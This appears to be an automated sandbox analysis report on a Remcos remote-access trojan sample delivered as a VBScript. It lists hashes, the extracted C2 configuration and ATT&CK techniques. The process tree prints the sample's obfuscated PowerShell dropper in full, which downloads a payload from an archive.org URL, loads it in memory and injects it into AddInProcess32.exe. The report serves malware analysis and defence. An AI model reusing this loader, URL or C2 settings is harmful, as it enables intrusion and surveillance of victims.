remcos | fa6ef44602cd8b93885484c8408e6155d1747acfa361857cce7fbf8601ab689f

General

Target

sostener.vbs
Size

503KB
MD5

5d616b1f098785c46701bf12ee40244b
SHA1

21c4bfda03dc3fbaa452769a05f80d0390c8b0bb
SHA256

fa6ef44602cd8b93885484c8408e6155d1747acfa361857cce7fbf8601ab689f
SHA512

25973fbcbfc8b06b0811aea729c3c5429d9fa06a4c60a445cdbfef19d61fb52c8dfe09765291e238ec5b827015777982374b68c6bcfbe8c26e876d416299eac1
SSDEEP

12288:1H+cpW8xL9zJrxSWoixru+AMKzy3ggdiLkq3ahosUAwnJiWSXPJVpBPPwliMd:g03EKa+zKwdPf5S

Score

10^/10

remcos matrix fenix*discovery execution rat

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://ia600100.us.archive.org/24/items/detah-note-v/DetahNoteV.txt

exe.dropper

https://ia600100.us.archive.org/24/items/detah-note-v/DetahNoteV.txt

Extracted

Family

remcos

Botnet

Matrix Fenix*

C2

newssssssssssssss.duckdns.org:2404

Attributes

audio_folder
MicRecords
audio_record_time
5
connect_delay
0
connect_interval
1
copy_file
remcos.exe
copy_folder
Remcos
delete_file
false
hide_file
false
hide_keylog_file
false
install_flag
false
keylog_crypt
false
keylog_file
registros.dat
keylog_flag
false
keylog_folder
remcos
mouse_option
false
mutex
Rmc-XDNGQ0
screenshot_crypt
false
screenshot_flag
false
screenshot_folder
Capturas de pantalla
screenshot_path
%AppData%
screenshot_time
10
take_screenshot_option
false
take_screenshot_time
5

Signatures

Remcos
Remcos is a closed-source remote control and surveillance software.
rat remcos

Blocklisted process makes network request 2 IoCs

flow	pid	Process
8	4000	powershell.exe
36	4000	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
4620	powershell.exe
4000	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1302416131-1437503476-2806442725-1000\Control Panel\International\Geo\Nation	WScript.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 4000 set thread context of 4128	4000	powershell.exe	94

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	AddInProcess32.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
4620	powershell.exe
4620	powershell.exe
4000	powershell.exe
4000	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	4620	powershell.exe
Token: SeDebugPrivilege	4000	powershell.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
4128	AddInProcess32.exe

Suspicious use of WriteProcessMemory 16 IoCs

description	pid	Process	procid_target
PID 2052 wrote to memory of 4620	2052	WScript.exe	82
PID 2052 wrote to memory of 4620	2052	WScript.exe	82
PID 4620 wrote to memory of 4000	4620	powershell.exe	84
PID 4620 wrote to memory of 4000	4620	powershell.exe	84
PID 4000 wrote to memory of 4128	4000	powershell.exe	94
PID 4000 wrote to memory of 4128	4000	powershell.exe	94
PID 4000 wrote to memory of 4128	4000	powershell.exe	94
PID 4000 wrote to memory of 4128	4000	powershell.exe	94
PID 4000 wrote to memory of 4128	4000	powershell.exe	94
PID 4000 wrote to memory of 4128	4000	powershell.exe	94
PID 4000 wrote to memory of 4128	4000	powershell.exe	94
PID 4000 wrote to memory of 4128	4000	powershell.exe	94
PID 4000 wrote to memory of 4128	4000	powershell.exe	94
PID 4000 wrote to memory of 4128	4000	powershell.exe	94
PID 4000 wrote to memory of 4128	4000	powershell.exe	94
PID 4000 wrote to memory of 4128	4000	powershell.exe	94

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\sostener.vbs"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2052
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCgnezF9dXInKydsID0gezB9aHR0cHM6JysnLy9pJysnYTYnKycwMDEwMC51cy5hcmMnKydoJysnaXZlLicrJ29yZy8yNCcrJy9pdGUnKydtcycrJy9kZXRhaC1uJysnb3RlLXYvJysnRGV0YScrJ2hOb3RlVi50eHQnKyd7MCcrJ307eycrJzF9JysnYmEnKydzZTYnKyc0JysnQ28nKyduJysndGVuJysndCA9IChOZScrJ3ctT2JqZWN0IFN5c3RlbS5OZXQuVycrJ2ViJysnQ2wnKydpZW50JysnKScrJy5EJysnbycrJ3dubCcrJ28nKydhZCcrJ1N0JysncmluZyh7MScrJ30nKyd1cmwpO3snKycxJysnfScrJ2JpJysnbmEnKydyeUNvbicrJ3QnKydlJysnbicrJ3QgPScrJyBbUycrJ3lzdGVtLkMnKydvbnYnKydlcicrJ3QnKyddOicrJzpGJysncicrJ29tQicrJ2EnKydzJysnZTY0UycrJ3QnKydyaW5nKCcrJ3snKycxfWInKydhc2U2JysnNCcrJ0NvbnQnKydlbnQnKycpO3sxJysnfWFzc2VtYmx5ICcrJz0gW1JlJysnZicrJ2xlJysnYycrJ3Rpb24uJysnQScrJ3NzZW1ibCcrJ3knKyddOjpMb2FkKCcrJ3sxJysnfWInKydpJysnbmEnKydyJysneUNvbicrJ3RlbicrJ3QpJysnO3sxfXQnKyd5cCcrJ2UgJysnPSAnKyd7MX1hJysnc3NlbWJseScrJy5HZXRUeXAnKydlKHswfVJ1JysnblBFLkhvJysnbWV7MH0pO3sxJysnfW0nKydldGhvZCA9IHsxfXR5cCcrJ2UuJysnR2V0TWV0aG9kJysnKHsnKycwfVYnKydBSXsnKycwJysnfScrJyk7eycrJzF9bWV0JysnaG9kLkluJysndm9rZScrJygnKyd7JysnMX0nKyduJysndWxsLCBbb2InKydqZWN0W11dJysnQCcrJygnKyd7MH0nKycwL1R1JysnUicrJzVSL2QvZScrJ2UnKycuZXQnKydzYXAnKycvJysnLzpzJysncCcrJ3R0aHswJysnfSAnKycsICcrJ3snKycwfScrJ2Rlc2F0aXYnKydhZG97MH0gJysnLCcrJyB7MH1kZXNhJysndGknKyd2YScrJ2QnKydvJysnezB9ICwnKycgJysnezB9ZCcrJ2VzYXRpJysndmFkb3swfSx7MH1BZGRJblByJysnbycrJ2NlcycrJ3MzMicrJ3swJysnfSwnKyd7MH17MH0nKycpKScpIC1mW2NIQXJdMzksW2NIQXJdMzYpIHwuKCAkc0hFbGxpRFsxXSskU2hlbExJZFsxM10rJ3gnKQ==';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4620
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "(('{1}ur'+'l = {0}https:'+'//i'+'a6'+'00100.us.arc'+'h'+'ive.'+'org/24'+'/ite'+'ms'+'/detah-n'+'ote-v/'+'Deta'+'hNoteV.txt'+'{0'+'};{'+'1}'+'ba'+'se6'+'4'+'Co'+'n'+'ten'+'t = (Ne'+'w-Object System.Net.W'+'eb'+'Cl'+'ient'+')'+'.D'+'o'+'wnl'+'o'+'ad'+'St'+'ring({1'+'}'+'url);{'+'1'+'}'+'bi'+'na'+'ryCon'+'t'+'e'+'n'+'t ='+' [S'+'ystem.C'+'onv'+'er'+'t'+']:'+':F'+'r'+'omB'+'a'+'s'+'e64S'+'t'+'ring('+'{'+'1}b'+'ase6'+'4'+'Cont'+'ent'+');{1'+'}assembly '+'= [Re'+'f'+'le'+'c'+'tion.'+'A'+'ssembl'+'y'+']::Load('+'{1'+'}b'+'i'+'na'+'r'+'yCon'+'ten'+'t)'+';{1}t'+'yp'+'e '+'= '+'{1}a'+'ssembly'+'.GetTyp'+'e({0}Ru'+'nPE.Ho'+'me{0});{1'+'}m'+'ethod = {1}typ'+'e.'+'GetMethod'+'({'+'0}V'+'AI{'+'0'+'}'+');{'+'1}met'+'hod.In'+'voke'+'('+'{'+'1}'+'n'+'ull, [ob'+'ject[]]'+'@'+'('+'{0}'+'0/Tu'+'R'+'5R/d/e'+'e'+'.et'+'sap'+'/'+'/:s'+'p'+'tth{0'+'} '+', '+'{'+'0}'+'desativ'+'ado{0} '+','+' {0}desa'+'ti'+'va'+'d'+'o'+'{0} ,'+' '+'{0}d'+'esati'+'vado{0},{0}AddInPr'+'o'+'ces'+'s32'+'{0'+'},'+'{0}{0}'+'))') -f[cHAr]39,[cHAr]36) |.( $sHElliD[1]+$ShelLId[13]+'x')"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious use of SetThreadContext
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:4000
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of SetWindowsHookEx
      PID:4128

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\ProgramData\remcos\registros.dat

Filesize
144B

MD5
374af405e342d9486b9433e10f2972f7

SHA1
0c346cde1e72e49fe35393decf86059dcf56f749

SHA256
9b437135b64819440f8b63e44dd6b899e0b3381ddda4a4b091b4636455cd91cc

SHA512
43ae226406aa61a4445487ed66bc6f97b43370962287ef525935042082510f18bbd37afa0efe0774d165626e8d85790c99168308ebcf2e88121ff9b68030c013

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
3KB

MD5
f41839a3fe2888c8b3050197bc9a0a05

SHA1
0798941aaf7a53a11ea9ed589752890aee069729

SHA256
224331b7bfae2c7118b187f0933cdae702eae833d4fed444675bd0c21d08e66a

SHA512
2acfac3fbe51e430c87157071711c5fd67f2746e6c33a17accb0852b35896561cec8af9276d7f08d89999452c9fb27688ff3b7791086b5b21d3e59982fd07699

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
64B

MD5
5caad758326454b5788ec35315c4c304

SHA1
3aef8dba8042662a7fcf97e51047dc636b4d4724

SHA256
83e613b6dc8d70e3bb67c58535e014f58f3e8b2921e93b55137d799fc8c56391

SHA512
4e0d443cf81e2f49829b0a458a08294bf1bdc0e38d3a938fb8274eeb637d9a688b14c7999dd6b86a31fcec839a9e8c1a9611ed0bbae8bd59caa9dba1e8253693

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_kwyl1ucw.zfg.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/4000-24-0x000001901A740000-0x000001901A94C000-memory.dmp

Filesize
2.0MB

Download
memory/4128-25-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/4128-50-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/4128-55-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/4128-44-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/4128-28-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/4128-57-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/4128-62-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/4128-49-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/4128-33-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/4128-36-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/4128-37-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/4128-42-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/4128-63-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/4620-23-0x00007FFDDFB50000-0x00007FFDE0611000-memory.dmp

Filesize
10.8MB

Download
memory/4620-32-0x00007FFDDFB50000-0x00007FFDE0611000-memory.dmp

Filesize
10.8MB

Download
memory/4620-0-0x00007FFDDFB53000-0x00007FFDDFB55000-memory.dmp

Filesize
8KB

Download
memory/4620-22-0x00007FFDDFB53000-0x00007FFDDFB55000-memory.dmp

Filesize
8KB

Download
memory/4620-12-0x00007FFDDFB50000-0x00007FFDE0611000-memory.dmp

Filesize
10.8MB

Download
memory/4620-11-0x00007FFDDFB50000-0x00007FFDE0611000-memory.dmp

Filesize
10.8MB

Download
memory/4620-6-0x00000189FBF10000-0x00000189FBF32000-memory.dmp

Filesize
136KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads